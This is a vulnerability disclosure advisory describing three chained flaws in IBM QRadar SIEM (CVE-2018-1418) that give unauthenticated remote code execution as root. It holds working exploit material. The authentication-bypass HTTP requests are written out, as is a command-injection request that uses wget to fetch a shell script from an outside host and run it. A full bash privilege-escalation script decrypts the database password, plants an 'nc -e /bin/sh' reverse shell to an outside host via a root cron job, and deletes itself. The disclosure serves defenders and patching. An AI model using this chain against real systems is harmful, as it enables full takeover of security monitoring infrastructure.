IBM QRadar SIEM Code Execution / Authentication Bypass

`Hi all,  
  
3 vulns in IBM QRadar SIEM that when chained allow an attacker to  
achieve unauthenticated RCE as root on the QRadar host.  
  
IBM have only attributed on CVE for all 3 vulns, and they have a  
combined CVSS score of 5.6.  
  
So totally own a SIEM = 5.6 CVSS. Sounds right to me.  
  
A special thanks to Beyond Security's SSD programme, which helped me  
disclose these 3 vulnerabilities. See their advisory at:  
https://blogs.securiteam.com/index.php/archives/3689  
  
Also available in my repo:  
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt  
  
A Metasploit module has been released, and it is pending approval:  
https://github.com/rapid7/metasploit-framework/pull/10108  
  
Regards,  
Pedro  
  
  
================  
  
>> Multiple vulnerabilities in IBM QRadar SIEM  
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information  
Security (http://www.agileinfosec.co.uk/)  
==========================================================================  
Disclosure: 28/05/2018 / Last updated: 25/08/2018  
  
  
>> Introduction:  
From IBM's website [1]:  
"IBMA(r) QRadarA(r) SIEM detects anomalies, uncovers advanced threats and  
removes false positives. It consolidates log events and network flow  
data from thousands of devices, endpoints and applications distributed  
throughout a network. It then uses an advanced Sense Analytics engine to  
normalize and correlate this data and identifies security offenses  
requiring investigation. As an option, it can incorporate IBM X-ForceA(r)  
Threat Intelligence which supplies a list of potentially malicious IP  
addresses including malware hosts, spam sources and other threats.  
QRadar SIEM is available on premises and in a cloud environment."  
  
  
>> Background and summary:  
QRadar has a built-in server side application to perform forensic  
analysis on certain files.  
The vulnerabilities described below show how two logical bugs in the  
forensics application can be abused to bypass authentication, write a  
file to disk and execute it as an unpriviliged user. This file can then  
abuse a vulnerability in the way cron jobs are handled to cause a shell  
script to be executed as root. In summary, the full exploit chain allows  
an unauthenticated attacker to achieve remote code execution as root  
with a couple of HTTP requests.  
  
The forensics application is disabled in the free Community Edition, but  
the code is still there, and part of it still works. This application  
has two components, one servlet running in Java, and the main web  
application running PHP.  
QRadar has an Apache reverse proxy sitting in front of all its web  
applications, which routes requests according to the URL. Requests sent  
to /console/* get routed to the main "console" application, which not  
only runs the web interface but also performs the main functions of  
QRadar (and is not affected by these vulnerabilities).  
Then there are several helper applications, such as the forensics  
application described above, which can be reached at /forensics and  
/ForensicAnalysisServlet, the SOLR server, reachable at /solr and others.  
  
Special thanks to SecuriTeam for helping me disclose this vulnerability.  
Please see their advisory at [2] and IBM's response at [3].  
Note that IBM have attributed a combined CVE for all three  
vulnerabilities, CVE-2018-1418. They have also scored these three  
vulnerabilities as CVSS 5.6...  
A Metasploit module that exploits these vulnerabilities to achieve  
unauthenticated remote code execution as root has been released in [4].  
  
  
>> Technical details:  
#1  
Vulnerability: Authentication Bypass (in ForensicAnalysisServlet)  
CVE-2018-1418  
Attack Vector: Remote  
Constraints: None  
Affected products / versions:  
- IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions  
released since mid-2014 are affected  
  
QRadar authentication is done via a SEC cookie, which is a session UUID.  
This is managed centrally by a session manager which runs in the main  
QRadar console application. The SEC cookies can be obtained in three ways:  
- Upon login in the main console application  
- Using a previously created authorisation token (also created in the  
console)  
- From the /etc/qradar/conf/host.token file, which contains a UUID  
generated at install time, used by internal services to perform  
administrative actions.  
  
The ForensicAnalysisServlet stores the SEC cookie in a HashMap, and then  
checks if the cookie is valid with the console application before  
committing any action... except for one specific codepath.  
  
The function doGetOrPost() processes all requests to  
ForensicsAnalysisServlet. This function does a number of actions, such  
as fetching a results file, checking the status of an analysis request, etc.  
In order to authenticate, the requester has to have its SEC and  
QRadarCSRF tokens registered with the servlet. This is done by  
application with the setSecurityTokens action, with which a requester  
specifies both tokens and registers them with the servlet.  
In order to perform authentication for the setSecurityTokens action, the  
servlet checks if the host.token SEC cookie was sent with the request.  
  
However, if the forensicsManagedHostIps parameter is sent with the  
setSecurityTokens action, doGetOrPost() will pass on the request to  
doPassThrough() before authenticating it:  
  
protected void doGetOrPost(HttpServletRequest request,  
HttpServletResponse response) throws InterruptedException, IOException,  
ServletException, SolrServerException {  
...  
String SEC = "";  
String QRadarCSRF = "";  
Cookie[] requestCookies = request.getCookies();  
if(requestCookies != null) {  
Cookie[] var6 = requestCookies;  
int var7 = requestCookies.length;  
  
for(int var8 = 0; var8 < var7; ++var8) {  
Cookie cookie = var6[var8];  
if(cookie.getName().equals("SEC")) {  
SEC = cookie.getValue();  
}  
  
if(cookie.getName().equals("QRadarCSRF")) {  
QRadarCSRF = cookie.getValue();  
}  
}  
}  
  
if(!SEC.isEmpty() && !QRadarCSRF.isEmpty()) { <----- checks if  
the cookies exist, but doesn't validate their values  
String actionParameterValue = "" + request.getParameter("action");  
actionParameterValue = actionParameterValue.trim();  
if(!actionParameterValue.equals("null") &&  
!actionParameterValue.isEmpty()) {  
String solrDocIdsString = "";  
String responseHash;  
if(!actionParameterValue.equals("setSecurityTokens")) { <----- if  
the parameter is setSecurityTokens, doesn't validate the cookies  
if(!this.SECCookiesMap.containsKey(SEC) ||  
!this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) {  
logger.error("No valid forensics analysis SEC or QRadarCSRF  
cookie(s) found.");  
response.setStatus(403);  
return;  
}  
  
solrDocIdsString = "" + request.getParameter("solrDocIds");  
if(solrDocIdsString.equals("null") ||  
solrDocIdsString.trim().isEmpty()) {  
BufferedReader bufferedReader = request.getReader();  
solrDocIdsString = "";  
  
for(responseHash = ""; (responseHash = bufferedReader.readLine())  
!= null; solrDocIdsString = solrDocIdsString + responseHash) {  
;  
}  
  
bufferedReader.close();  
}  
}  
  
String forensicsManagedHostIps = "" +  
request.getParameter("forensicsManagedHostIps");  
if(!forensicsManagedHostIps.equals("null")) {  
forensicsManagedHostIps = forensicsManagedHostIps.trim();  
if(forensicsManagedHostIps.isEmpty()) {  
throw new ServletException("No valid forensics analysis  
forensicsManagedHostIps parameter found.");  
}  
  
responseHash = InetAddress.getLocalHost().getHostAddress();  
forensicsManagedHostIps =  
forensicsManagedHostIps.replaceAll(responseHash, "");  
if(!forensicsManagedHostIps.isEmpty()) {  
this.doPassThrough(request, response, forensicsManagedHostIps,  
solrDocIdsString, actionParameterValue); <----- if the  
forensicsManagedHostIps parameter is set, call doPassThrough  
return;  
}  
}  
...  
}  
  
doPassThrough() also validates if the request contains a valid SEC  
cookie... at some point. The problem is that if we send the  
setSecurityTokens action, in the beginning of the function the SEC and  
QRadarCSRF values are added to the servlet HashMap of valid tokens...  
before being validated:  
  
private void doPassThrough(HttpServletRequest request,  
HttpServletResponse response, String forensicsManagedHostIps, String  
solrDocIdsString, String actionParameterValue) throws IOException,  
ServletException {  
String method = request.getMethod().toUpperCase();  
String securityTokensString = "";  
String[] securityTokens = null;  
RequestBuilder requestBuilder = RequestBuilder.create(method);  
String QRadarCSRF;  
if(!method.equals("GET")) {  
if(!actionParameterValue.equals("setSecurityTokens")) {  
requestBuilder.setEntity(new StringEntity(solrDocIdsString, "UTF-8"));  
} else {  
BufferedReader bufferedReader = request.getReader();  
  
for(QRadarCSRF = ""; (QRadarCSRF = bufferedReader.readLine()) !=  
null; securityTokensString = securityTokensString + QRadarCSRF) {  
;  
}  
  
bufferedReader.close();  
securityTokens = securityTokensString.split(",");  
this.SECCookiesMap.put(securityTokens[2], Long.valueOf((new  
Date()).getTime())); <---- POST values are added here if the  
setSecurityTokens parameter is set  
this.QRadarCSRFCookiesMap.put(securityTokens[3], Long.valueOf((new  
Date()).getTime()));  
}  
}  
...  
}  
  
Following the code snippets above, it is clear that an unauthenticated  
user can insert arbitrary SEC and QRadarCSRF values into the servlet  
cookie HashMaps.  
  
To show this in action, let's try to do a request to the servlet, and we  
get a 403 error:  
  
Request:  
GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1  
Cookie: SEC=owned; QRadarCSRF=superowned;  
  
Response:  
HTTP/1.1 403 Forbidden  
  
Now we send our request to add the SEC and QRadarCSRF values to the  
valid token lists:  
By sending the following request, the values "owned" and "superowned"  
are added to the valid SEC and QRadarCSRF tokens:  
  
POST  
/ForensicsAnalysisServlet/?action=setSecurityTokens&forensicsManagedHostIps=something  
HTTP/1.1  
Cookie: SEC=owned; QRadarCSRF=superowned;  
Content-Type: application/json  
Content-Length: 44  
  
something1002,something1003,owned,superowned  
  
To which the server will respond:  
HTTP/1.1 200 OK  
{"exceptionMessageValue":"javax.servlet.ServletException: No valid  
forensics analysis host token data found."}  
  
And now our cookies have been added to the SECCookiesMap and  
QradarCSRFCookiesMap, so we can invoke all actions (even the ones that  
required authenticated cookies) in ForensicsAnalysisServlet.  
  
So let's try to repeat the initial request, for which we got a 403:  
GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1  
Cookie: SEC=owned; QRadarCSRF=superowned;  
  
Response:  
HTTP/1.1 200 OK  
{"exceptionMessageValue":"javax.servlet.ServletException: No valid  
forensics analysis solrDocIds parameter found."}  
  
Success! We've bypassed authentication.  
  
  
#2  
Vulnerability: Command Injection (in PHP web application)  
CVE-2018-1418  
Attack Vector: Remote  
Constraints: Authentication needed (can be bypassed with vulnerability #1)  
Affected products / versions:  
- IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions  
released since mid-2014 are affected  
  
The second vulnerability in this exploit chain is in the PHP part of the  
forensics web application.  
Using vulnerability #1 to add our SEC and QRadarCSRF cookies to the  
ForensicAnalysisServlet HashMaps means that we can invoke any function  
in the Java part of the application, but the PHP part uses a separate  
authentication scheme which doesn't have a similar flaw.  
However, it accepts any requests coming from localhost without needing  
authentication. Authentication is done in the PHP part by including the  
DejaVu/qradar_helper.php file, which invokes the LoginCurrentUser function:  
  
1046 public function LoginCurrentUser ($remember, &$errorInfo)  
1047 {  
1048 //if local server request don't need to login the user  
1049 if($_SERVER['REMOTE_ADDR'] == $_SERVER['SERVER_ADDR'])  
1050 {  
1051 return true;  
1052 }  
1053  
  
Note that not having authentication for local requests is not  
necessarily a vulnerability, although it is a bad practice as it can  
lead to situations like we are going to describe.  
  
So how can we make requests seem like they come from localhost?  
Something as simple as changing the Host HTTP header will not work.  
Luckily, we can leverage ForensicAnalysisServlet doPassThrough() again.  
After the snippet shown in vulnerability #1, the function goes on to  
forward the request to the host address(es) entered in the  
forensicsManagedHostIps parameter:  
  
private void doPassThrough(HttpServletRequest request,  
HttpServletResponse response, String forensicsManagedHostIps, String  
solrDocIdsString, String actionParameterValue) throws IOException,  
ServletException {  
...  
if(!SEC.isEmpty() && !QRadarCSRF.isEmpty()) {  
if(this.SECCookiesMap.containsKey(SEC) &&  
this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) {  
Map<String, String[]> parameterMap =  
request.getParameterMap();  
Iterator var42 = parameterMap.keySet().iterator();  
  
while(var42.hasNext()) {  
String parameterName = (String)var42.next();  
if(!parameterName.equals("forensicsManagedHostIps"))  
{ <----- gets all parameters except  
forensicsManagedHostIps and adds them to the request  
requestBuilder.addParameter(parameterName,  
((String[])parameterMap.get(parameterName))[0]);  
}  
}  
  
requestBuilder.addHeader("Cookie", "SEC=" + SEC + "; " +  
"QRadarCSRF" + "=" + QRadarCSRF);  
timeout = this.connectionTimeout;  
Builder requestConfigBuilder = RequestConfig.custom();  
requestConfigBuilder =  
requestConfigBuilder.setConnectTimeout(timeout);  
requestConfigBuilder =  
requestConfigBuilder.setConnectionRequestTimeout(timeout);  
requestConfigBuilder =  
requestConfigBuilder.setSocketTimeout(timeout);  
  
this.QrifHttpClientBuilder.setDefaultRequestConfig(requestConfigBuilder.build());  
HttpClient httpClient = this.QrifHttpClientBuilder.build();  
int status = 0;  
String[] forensicsManagedHostIpsArray =  
forensicsManagedHostIps.split(","); <--- parses  
forensicsManagedHostIps string  
String fileName = "" + request.getParameter("fileName");  
String requestResponseHash = "" +  
request.getParameter("responseHashValue");  
  
if(this.forensicsResponseHashForensicsManagedHostIpsMap.containsKey(requestResponseHash))  
{  
forensicsManagedHostIpsArray = new  
String[]{(String)this.forensicsResponseHashForensicsManagedHostIpsMap.get(requestResponseHash)};  
} else if(!actionParameterValue.matches("do.*Analysis")) {  
  
if(this.forensicsDocForensicsManagedHostIpMap.containsKey(solrDocIdsString))  
{  
forensicsManagedHostIpsArray = new  
String[]{(String)this.forensicsDocForensicsManagedHostIpMap.get(solrDocIdsString)};  
} else if(actionParameterValue.equals("GetFile") &&  
this.forensicsDocForensicsManagedHostIpMap.containsKey(fileName)) {  
forensicsManagedHostIpsArray = new  
String[]{(String)this.forensicsDocForensicsManagedHostIpMap.get(fileName)};  
}  
}  
  
String[] var21 = forensicsManagedHostIpsArray;  
int var22 = forensicsManagedHostIpsArray.length;  
  
for(int var23 = 0; var23 < var22; ++var23) {  
String forensicsManagedHostIp = var21[var23];  
if(!forensicsManagedHostIp.isEmpty()) {  
<---- for each host address in forensicsManagedHostIps, sends  
one request  
requestBuilder.setUri("https://" +  
forensicsManagedHostIp + "/ForensicsAnalysisServlet/");  
String[] forensicsManagedHostSecurityTokens;  
...  
HttpUriRequest httpUriRequest =  
requestBuilder.build();  
forensicsManagedHostSecurityTokens = null;  
  
HttpResponse httpResponse;  
try {  
httpResponse =  
httpClient.execute(httpUriRequest);  
  
It is clear from the code that if we send 127.0.0.1 in the  
forensicsManagedHostIps parameter, we can make ForensicAnalysisServlet  
forward our request to the PHP web application and bypass authentication.  
So now how to exploit this? In the PHP we application, we have file.php,  
which has a "get" functionality that allows an authenticated user to  
fetch certain files off the filesystem. file.php forwards the request to  
DejaVu/FileActions.php, which does some checks to ensure that the file  
is in a restricted set of directories:  
  
42 public static function Get()  
43 {  
44 global $TEMP_DIR, $PRODUCT_NAME, $QRADAR_PRE_URL_PATH;  
45 $pcapArray = array_key_exists ( 'pcap', $_REQUEST )  
? $_REQUEST ['pcap'] : '';  
46 $acceptablePaths =  
array("/store/forensics/case_input","/store/forensics/case_input_staging",  
"/store/forensics/tmp");  
47 $docid = array_key_exists('docid', $_GET) ? $_GET['docid'] : '';  
48 $guitype = array_key_exists('gui', $_GET) ?  
htmlspecialchars($_GET['gui'], ENT_QUOTES) : 'standard';  
49 $path = array_key_exists('path', $_GET) ? $_GET['path'] : '';  
50 if (!empty($path))  
51 {  
52 $path = urldecode($path);  
53 $path = FileActions::validate_path($path,  
$acceptablePaths);  
54 if(empty($path))  
55 {  
56  
QRadarLogger::logQradarError("FileActions.Get(): operation failed");  
57 return;  
58 }  
59 }  
...  
98 if (!empty($docid)) {  
99 $doc = IndexQuery::GetDocument($docid, $guitype);  
100 if ($doc) {  
101 $savedFile = new SavedFile($doc);  
102 if ($savedFile->hasFile()) {  
103 if ($savedFile->isLocal())  
104 $savedFile->sendFile($guitype);  
105 else  
106 $savedFile->doProxy();  
107 } else  
108 send404();  
109 } else  
110 send404();  
111  
112 } else if (!empty($path)) {  
113 if (file_exists($path)) {  
114 if (!SavedFile::VetFile($path, $guitype))  
115 return;  
116 readfile($path);  
117 } else  
118 send404();  
119  
  
The codepath that we are interested to hit is the pcapArray if, shown  
below. If we send a PHP array with several pcap parameters, the web  
application will ZIP these files before sending:  
120  
121 } else if (is_array($pcapArray)) {  
122 $hostname = array_key_exists('hostname', $_REQUEST) ?  
$_REQUEST['hostname'] : $_SERVER['SERVER_ADDR'];  
123 if (count($pcapArray) > 1) {  
124 $basename = uniqid() . ".zip";  
125 $zip_filename = $TEMP_DIR . "/" . $basename;  
126 } else {  
127 $zip_filename = $pcapArray[0]['pcap'];  
128 $basename = basename($zip_filename);  
129  
130 }  
131  
...  
149  
150 for($i = 0, $j = count($pcapArray); $i < $j ; $i++) {  
151 $pcapFileList[] = $pcapArray[$i]['pcap'];  
152 }  
153  
154 if (count($pcapArray) > 1) {  
155 // More than one pcap, so zip up the files and send  
the zip  
156 $fileList = implode(' ', $pcapFileList);  
157 //error_log("filename >> ".$filename);  
158 //error_log( print_r($fileList,TRUE) );  
  
Which clearly leads to a command injection right here, using the pcap  
filenames:  
159 $cmd = "/usr/bin/zip -qj $zip_filename $fileList 2>&1";  
160 //error_log("\$cmd =".$cmd);  
161  
162 $result = exec($cmd, $cmd_output, $cmd_retval);  
  
Bingo! It allows us to execute code as the httpd web server user, which  
is the unprivileged "nobody" user, at least in a CentOS / RHEL installation.  
For example, to download and execute a shell from 172.28.128.1, we can  
send the following GET request, provided we have used vulnerability #1  
to create valid SEC and QRadarCSRF cookies:  
  
GET  
/ForensicsAnalysisServlet/?forensicsManagedHostIps=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true&pcap[0][pcap]=/rand/file&pcap[1][pcap]=$(mkdir  
-p /store/configservices/staging/updates && wget -O  
/store/configservices/staging/updates/runme  
http://172.28.128.1:4444/runme.sh && /bin/bash  
/store/configservices/staging/updates/runme)& HTTP/1.1  
Cookie: SEC=owned; QRadarCSRF=superowned;  
  
This will take a few seconds to process, but eventually our shell gets  
downloaded, executed, and we get the following response:  
HTTP/1.1 200 OK  
{"exceptionMessageValue":"javax.servlet.ServletException: No valid  
forensics analysis forensicsManagedHostIps parameter found."}  
  
The pcap[1][pcap] parameter is shown unencoded to facilitate reading,  
but the actual exploit should have this parameter fully URL encoded. As  
you can see, we can use the forensicsManagedHostIps not only to pick the  
host address but also to inject the URL path that will be used.  
  
Care needs to be taken when choosing a directory to download the file  
to. The "nobody" user cannot write to /tmp, but a good choice is  
/store/configservices/*, which is used for various tasks, and is  
writeable by "nobody". The /store/configservices/staging/updates/ was  
chosen (and created) because it plays a central role in our upcoming  
root privilege escalation exploit.  
  
  
#3  
Vulnerability: Privilege Escalation (via database and cron job -  
"nobody" user to root)  
CVE-2018-1418  
Attack Vector: Local  
Constraints: "nobody" user shell needed (can be obtained with  
vulnerability #2)  
Affected products / versions:  
- IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions  
released since mid-2014 are affected  
  
The final step to totally owning QRadar is to escalate privileges from  
our limited "nobody" user to root.  
For this we can leverage the following cron job, which runs as root  
every minute:  
# Check if autoupdate should be run  
* * * * * /opt/qradar/bin/UpdateConfs.pl > /dev/null 2>&1  
  
The code is convoluted, so it won't be shown here for brevity. However,  
this Perl script invokes checkRpm(), which then calls checkRpmStatus().  
The latter will fetch the autoupdate_patch database table and check if  
there are any entries left to process. If the file entry name ends with  
.rpm, it will invoke processRpm(), which installs it, otherwise it will  
invoke installMinor(), which will run "sh +x" on the file entry. These  
file entries are expected to be in the "update_download_dir" directory,  
which can be fetched with psql -U qradar -c "select value from  
autoupdate_conf where key = 'update_download_dir'", but it is  
/store/configservices/staging/updates/ by default. As explained in  
vulnerability #2, /store/configservices/* is writeable by "nobody", so  
we can dump any files we want there, create directories, etc.  
  
Luckily, the "nobody" user can access the database - after all, the Java  
and PHP server processes need to access it, and they run as "nobody".  
Because the /tmp directory cannot be accessed by the "nobody" user, we  
cannot rely on password-less local socket connection to the database; so  
we have to use TCP/IP, which means we need the database password. The  
password is in /opt/qradar/conf/config_user.xml (readable by "nobody")  
and it is stored encrypted, but can be decrypted using the code of a  
built-in shell script.  
  
So once we have the database password, all we need to do is to add an  
entry to that table to a script we control (for example  
/store/configservices/staging/updates/owned.sh), and within one minute  
it will be run as root:  
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c  
"insert into autoupdate_patch values  
('owned.sh',558,'minor',false,1337,0,'',1,false,'','','',false)"  
  
The exploit script that does this privilege escalation and returns a  
root reverse shell to 172.28.128.1:4445 is shown below. This file can be  
written using a combination of vulnerabilities #1 and #2 to complete the  
full exploit chain, allowing an unauthenticated user to achieve root  
code execution remotely:  
  
#!/bin/bash  
  
# our reverse shell that will be executed as root  
cat <<EOF > /store/configservices/staging/updates/superowned  
#!/bin/sh  
nc -e /bin/sh 172.28.128.1 4445  
EOF  
  
### below is adapted from /opt/qradar/support/changePasswd.sh  
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"  
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`  
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"  
FORENSICS_USER_FILE="config_user.xml"  
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"  
  
# get the encrypted db password from the config  
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep  
WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\w\=]*)(?=<)'`  
  
QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')  
  
AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm  
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)  
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)  
  
#if 7.2.8 or greater, use new method for hashing and salting passwords  
if [ $QVERSION -gt 727 ]  
then  
PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo  
${PASSWORDENCRYPTED}))  
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" &&  
exit 255  
else  
AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`  
  
PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY  
com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`  
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" &&  
exit 255  
fi  
  
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c  
"insert into autoupdate_patch values  
('superowned',558,'minor',false,1337,0,'',1,false,'','','',false)"  
  
# delete ourselves  
(sleep 2 && rm -- "$0") &  
  
  
>> Fix:  
See [3] for IBM's advisory.  
Upgrade to QRadar versions 7.3.1 Patch 3 or 7.2.8 Patch 28.  
  
  
>> References:  
[1] https://www.ibm.com/us-en/marketplace/ibm-qradar-siem  
[2] https://blogs.securiteam.com/index.php/archives/3689  
[3] http://www-01.ibm.com/support/docview.wss?uid=swg22015797  
[4]  
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/ibm_qradar_unauth_rce.rb  
  
  
================  
Agile Information Security Limited  
http://www.agileinfosec.co.uk/  
>> Enabling secure digital business >>  
--   
Pedro Ribeiro  
Vulnerability and Reverse Engineer / Cyber Security Specialist  
  
[email protected]  
PGP: 17EE 7884 06C9 DCA3 76A6 99E9 BC04 BAD1 DDF2 A2CE  
  
  
`